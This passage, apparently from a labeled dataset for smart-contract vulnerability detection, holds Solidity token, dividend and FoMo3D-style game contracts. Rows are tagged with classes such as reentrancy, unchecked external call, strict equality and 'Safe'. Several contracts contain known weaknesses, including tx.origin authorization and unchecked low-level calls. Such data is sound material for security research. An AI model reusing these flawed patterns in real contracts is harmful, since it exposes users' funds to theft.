(!validate(addr)) { owners.push(addr); } } } function removeOwner(address addr) onlyWorking { if (validate(msg.sender)) { uint pos = indexOfOwners(addr); if (pos > 0) { owners[pos - 1] = 0x0; } } } function setTokenContract(address _tokenContract) onlyWorking { if (validate(msg.sender)) { tokenContract = TokenContract(_tokenContract); } } function ownerValidate(address addr) constant returns (bool) { return validate(addr); } function transferFromSender(address _to, uint256 _value) returns (bool success) { if (!validate(msg.sender)) throw; return tokenContract.transferFromSender(_to, _value); } function sendFromOwn(address _to, uint256 _value) returns (bool success) { if (!validate(msg.sender)) throw; if (!_to.send(_value)) throw; return true; } } // File: contracts/OffChainManager.sol contract OffChainManager { function isToOffChainAddress(address addr) constant returns (bool); function getOffChainRootAddress() constant returns (address); } contract OffChainManagerImpl is OffChainManager, Owned { address public rootAddress; address[] public offChainAddreses; mapping (address => uint256) refOffChainAddresses; OwnerValidator public ownerValidator; TokenContract public tokenContract; function OffChainManagerImpl( address _rootAddress, address _ownerValidator ) { rootAddress = _rootAddress; ownerValidator = OwnerValidator(_ownerValidator); } function setRootAddress(address _address) onlyWorking { if (ownerValidator.validate(msg.sender)) { rootAddress = _address; } } function setOwnerValidatorAddress(address _ownerValidator) onlyWorking { if (ownerValidator.validate(msg.sender)) { ownerValidator = OwnerValidator(_ownerValidator); } } function setTokenContract(address _tokenContract) { if (ownerValidator.validate(msg.sender)) { tokenContract = TokenContract(_tokenContract); } } function offChainAddresesValidCount() constant returns (uint) { uint cnt = 0; for (uint i = 0; i < offChainAddreses.length; i++) { if (offChainAddreses[i] != 0) { cnt++; } } return cnt; } function addOffChainAddress(address _address) private { if (!isToOffChainAddress(_address)) { offChainAddreses.push(_address); refOffChainAddresses[_address] = offChainAddreses.length; } } function removeOffChainAddress(address _address) private { uint pos = refOffChainAddresses[_address]; if (pos > 0) { offChainAddreses[pos - 1] = 0; refOffChainAddresses[_address] = 0x0; } } function addOffChainAddresses(address[] _addresses) onlyWorking { if (ownerValidator.validate(msg.sender)) { for (uint i = 0; i < _addresses.length; i++) { addOffChainAddress(_addresses[i]); } } } function removeOffChainAddresses(address[] _addresses) onlyWorking { if (ownerValidator.validate(msg.sender)) { for (uint i = 0; i < _addresses.length; i++) { removeOffChainAddress(_addresses[i]); } } } function ownerValidate(address addr) constant returns (bool) { return ownerValidator.validate(addr); } function transferFromSender(address _to, uint256 _value) returns (bool success) { if (!ownerValidator.validate(msg.sender)) throw; return tokenContract.transferFromSender(_to, _value); } function sendFromOwn(address _to, uint256 _value) returns (bool success) { if (!ownerValidator.validate(msg.sender)) throw; if (!_to.send(_value)) throw; return true; } function isToOffChainAddress(address addr) constant returns (bool) { return refOffChainAddresses[addr] > 0; } function getOffChainRootAddress() constant returns (address) { return rootAddress; } function getOffChainAddresses() constant returns (address[]) { return offChainAddreses; } function isToOffChainAddresses(address[] _addresses) constant returns (bool) { for (uint i = 0; i < _addresses.length; i++) { if (!isToOffChainAddress(_addresses[i])) { return false; } } return true; } } // File: contracts/TokenContract.sol library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract TokenContractImpl is TokenContract, Owned { using SafeMath for uint256; string public standard = ""Token 0.1""; uint256 _totalSupply; uint8 _decimals; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; OwnerValidator public ownerValidator; OffChainManager public offChainManager; bool public isRedenominated; uint256 public redenomiValue; mapping (address => uint256) public redenominatedBalances; mapping (address => mapping (address => uint256)) public redenominatedAllowed; function TokenContractImpl( uint256 initialSupply, uint8 decimals, address _ownerValidator, address _offChainManager ){ balances[msg.sender] = initialSupply; _totalSupply = initialSupply; _decimals = decimals; ownerValidator = OwnerValidator(_ownerValidator); offChainManager = OffChainManager(_offChainManager); } function totalSupply() constant returns (uint256 totalSupply) { if (isRedenominated) { return redenominatedValue(_totalSupply); } return _totalSupply; } function decimals() constant returns (uint8 decimals) { return _decimals; } function balanceOf(address _owner) constant returns (uint256 balance) { if (isRedenominated) { if (redenominatedBalances[_owner] > 0) { return redenominatedBalances[_owner]; } return redenominatedValue(balances[_owner]); } return balances[_owner]; } function allowance(address _owner, address _spender) constant returns (uint remaining) { if (isRedenominated) { if (redenominatedAllowed[_owner][_spender] > 0) { return redenominatedAllowed[_owner][_spender]; } return redenominatedValue(allowed[_owner][_spender]); } return allowed[_owner][_spender]; } function redenominatedValue(uint256 _value) private returns (uint256) { return _value.mul(redenomiValue); } function ownerValidate(address addr) constant returns (bool) { return ownerValidator.validate(addr); } function redenominate(uint256 _redenomiValue) { if (isRedenominated) throw; if (ownerValidator.validate(msg.sender)) { redenomiValue = _redenomiValue; Redenominate(msg.sender, isRedenominated, redenomiValue); } } function applyRedenomination() onlyNotWorking { if (isRedenominated) throw; if (redenomiValue == 0) throw; if (ownerValidator.validate(msg.sender)) { isRedenominated = true; ApplyRedenomination(msg.sender, isRedenominated, redenomiValue); } } function setOwnerValidatorAddress(address _ownerValidator) onlyWorking { if (ownerValidator.validate(msg.sender)) { ownerValidator = OwnerValidator(_ownerValidator); } } function setOffChainManagerAddress(address _offChainManager) onlyWorking { if (ownerValidator.validate(msg.sender)) { offChainManager = OffChainManager(_offChainManager); } } function transfer(address _to, uint256 _value) onlyWorking returns (bool success) { return transferProcess(tx.origin, _to, _value); } function transferProcess(address _from, address _to, uint256 _value) private returns (bool success) { if (balanceOf(_from) < _value) throw; subtractBalance(_from, _value); if (offChainManager.isToOffChainAddress(_to)) { addBalance(offChainManager.getOffChainRootAddress(), _value); ToOffChainTransfer(_from, _to, _to, _value); } else { addBalance(_to, _value); } return true; } function addBalance(address _address, uint256 _value) private { if (isRedenominated) { if (redenominatedBalances[_address] == 0) { if (balances[_address] > 0) { redenominatedBalances[_address] = redenominatedValue(balances[_address]); balances[_address] = 0; } } redenominatedBalances[_address] = redenominatedBalances[_address].add(_value); } else { balances[_address] = balances[_address].add(_value); } } function subtractBalance(address _address, uint256 _value) private { if (isRedenominated) { if (redenominatedBalances[_address] == 0) { if (balances[_address] > 0) { redenominatedBalances[_address] = redenominatedValue(balances[_address]); balances[_address] = 0; } } redenominatedBalances[_address] = redenominatedBalances[_address].sub(_value); } else { balances[_address] = balances[_address].sub(_value); } } function transferFrom(address _from, address _to, uint256 _value) onlyWorking returns (bool success) { if (balanceOf(_from) < _value) throw; if (balanceOf(_to).add(_value) < balanceOf(_to)) throw; if (_value > allowance(_from, tx.origin)) throw; subtractBalance(_from, _value); if (offChainManager.isToOffChainAddress(_to)) { addBalance(offChainManager.getOffChainRootAddress(), _value); ToOffChainTransfer(tx.origin, _to, _to, _value); } else { addBalance(_to, _value); } subtractAllowed(_from, tx.origin, _value); return true; } function transferFromSender(address _to, uint256 _value) onlyWorking returns (bool success) { if (!transferProcess(msg.sender, _to, _value)) throw; TransferFromSender(msg.sender, _to, _value); return true; } function transferFromOwn(address _to, uint256 _value) onlyWorking returns (bool success) { if (!ownerValidator.validate(msg.sender)) throw; if (!transferProcess(this, _to, _value)) throw; TransferFromSender(this, _to, _value); return true; } function sendFromOwn(address _to, uint256 _value) returns (bool success) { if (!ownerValidator.validate(msg.sender)) throw; if (!_to.send(_value)) throw; return true; } function approve(address _spender, uint256 _value) onlyWorking returns (bool success) { setAllowed(tx.origin, _spender, _value); return true; } function subtractAllowed(address _from, address _spender, uint256 _value) private { if (isRedenominated) { if (redenominatedAllowed[_from][_spender] == 0) { if (allowed[_from][_spender] > 0) { redenominatedAllowed[_from][_spender] = redenominatedValue(allowed[_from][_spender]); allowed[_from][_spender] = 0; } } redenominatedAllowed[_from][_spender] = redenominatedAllowed[_from][_spender].sub(_value); } else { allowed[_from][_spender] = allowed[_from][_spender].sub(_value); } } function setAllowed(address _owner, address _spender, uint256 _value) private { if (isRedenominated) { redenominatedAllowed[_owner][_spender] = _value; } else { allowed[_owner][_spender] = _value; } } event TransferFromSender(address indexed _from, address indexed _to, uint256 _value); event ToOffChainTransfer(address indexed _from, address indexed _toKey, address _to, uint256 _value); event Redenominate(address _owner, bool _isRedenominated, uint256 _redenomiVakye); event ApplyRedenomination(address _owner, bool _isRedenominated, uint256 _redenomiVakye); } // File: contracts/MainContract.sol contract MainContract { string public standard = ""Token 0.1""; string public name; string public symbol; OwnerValidator public ownerValidator; TokenContract public tokenContract; function MainContract( string _tokenName, address _ownerValidator, address _tokenContract, string _symbol ) { ownerValidator = OwnerValidator(_ownerValidator); tokenContract = TokenContract(_tokenContract); name = _tokenName; symbol = _symbol; } function totalSupply() constant returns(uint256 totalSupply) { return tokenContract.totalSupply(); } function decimals() constant returns(uint8 decimals) { return tokenContract.decimals(); } function setOwnerValidateAddress(address _ownerValidator) { if (ownerValidator.validate(msg.sender)) { ownerValidator = OwnerValidator(_ownerValidator); } } function setTokenContract(address _tokenContract) { if (ownerValidator.validate(msg.sender)) { tokenContract = TokenContract(_tokenContract); } } function transferFromSender(address _to, uint256 _value) returns (bool success) { if (!ownerValidator.validate(msg.sender)) throw; return tokenContract.transferFromSender(_to, _value); } function sendFromOwn(address _to, uint256 _value) returns (bool success) { if (!ownerValidator.validate(msg.sender)) throw; if (!_to.send(_value)) throw; return true; } function balanceOf(address _owner) constant returns (uint256 balance) { return uint256(tokenContract.balanceOf(_owner)); } function transfer(address _to, uint256 _value) returns (bool success) { if (tokenContract.transfer(_to, _value)) { Transfer(msg.sender, _to, _value); return true; } else { throw; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (tokenContract.transferFrom(_from, _to, _value)) { Transfer(_from, _to, _value); return true; } else { throw; } } function approve(address _spender, uint256 _value) returns (bool success) { if (tokenContract.approve(_spender,_value)) { Approval(msg.sender,_spender,_value); return true; } else { throw; } } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return tokenContract.allowance(_owner,_spender); } event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); }",./Dataset/ether strict equality (SE),3,3 34357.sol,"// 0.4.18+commit.9cf6e910.Emscripten.clang pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract MDPToken is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of MDPToken function MDPToken( ) { totalSupply = 6600000000000000; // Update total supply (100000 for example) balances[msg.sender] = totalSupply; // Give the creator all initial tokens (100000 for example) name = ""MDP Token""; // Set the name for display purposes decimals = 7; // Amount of decimals for display purposes symbol = ""MDP""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/unchecked external call (UC),7,7 0x0436d3110dee47f177bb5d9b7ea5ce5d712522e8_Dividend.sol,"pragma solidity ^0.4.18; contract Dividend { struct Record { uint balance; uint shares; uint index; } mapping (address => Record) public records; address[] public investors; address public funder; uint public startTime; uint public totalShares; uint public lastInvestmentTime; event Invested(uint indexed timestamp, address indexed from, uint amount, uint shares); event Withdrawn(uint indexed timestamp, address indexed from, uint amount); function Dividend() public payable { records[msg.sender] = Record(msg.value, totalShares = allocateShares(msg.value, 0), investors.push(funder = msg.sender)); Invested(startTime = lastInvestmentTime = now, msg.sender, msg.value, totalShares); } function () public payable { invest(); } function investorCount() public view returns (uint) { return investors.length; } function invest() public payable returns (uint) { uint value = msg.value; uint shares = allocateShares(value, (now - startTime) / 1 hours); if (shares > 0) { for (uint i = investors.length; i > 0; i--) { Record storage rec = records[investors[i - 1]]; rec.balance += value * rec.shares / totalShares; } address investor = msg.sender; rec = records[investor]; if (rec.index > 0) { rec.shares += shares; } else { rec.shares = shares; rec.index = investors.push(investor); } totalShares += shares; Invested(lastInvestmentTime = now, investor, value, shares); } return shares; } function withdraw() public returns (uint) { Record storage rec = records[msg.sender]; uint balance = rec.balance; if (balance > 0) { rec.balance = 0; msg.sender.transfer(balance); Withdrawn(now, msg.sender, balance); } if (now - lastInvestmentTime > 4 weeks) { selfdestruct(funder); } return balance; } function allocateShares(uint weis, uint bonus) public pure returns (uint) { return weis * (1000 + bonus) / 1 ether; } }",Safe,8,8 31608.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract EducationalDollarUtility is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function EducationalDollarUtility( ) { balances[msg.sender] = 1000000000000000000000000000; // Give the creator all initial tokens (100000 for example) totalSupply = 1000000000000000000000000000; // Update total supply (100000 for example) name = ""Scholars Educational Dollar Utility""; // Set the name for display purposes decimals = 18; // Amount of decimals for display purposes symbol = ""EDU""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/reentrancy (RE)/,5,5 3649.sol,"pragma solidity ^0.4.24; contract F3Devents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } contract modularShort is F3Devents {} contract FoMo3Dshort is modularShort { using SafeMath for *; using NameFilter for string; using F3DKeysCalcShort for uint256; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x4183e3813Dc897069144D306Fc8159fB30176A76); address private admin = msg.sender; string constant public name = ""FOMO2D""; string constant public symbol = ""mushroom""; uint256 private rndExtra_ = 30 minutes; uint256 private rndGap_ = 30 minutes; uint256 constant private rndInit_ = 30 minutes; uint256 constant private rndInc_ = 10 seconds; uint256 constant private rndMax_ = 1 hours; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => F3Ddatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => F3Ddatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => F3Ddatasets.TeamFee) public fees_; mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; constructor() public { fees_[0] = F3Ddatasets.TeamFee(30,6); fees_[1] = F3Ddatasets.TeamFee(43,0); fees_[2] = F3Ddatasets.TeamFee(56,10); fees_[3] = F3Ddatasets.TeamFee(43,8); potSplit_[0] = F3Ddatasets.PotSplit(15,10); potSplit_[1] = F3Ddatasets.PotSplit(25,0); potSplit_[2] = F3Ddatasets.PotSplit(20,20); potSplit_[3] = F3Ddatasets.PotSplit(30,10); } modifier isActivated() { require(activated_ == true, ""its not ready yet. check ?eta in discord""); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, ""sorry humans only""); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, ""pocket lint: not a valid currency""); require(_eth <= 100000000000000000000000, ""no vitalik, no""); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { F3Ddatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, 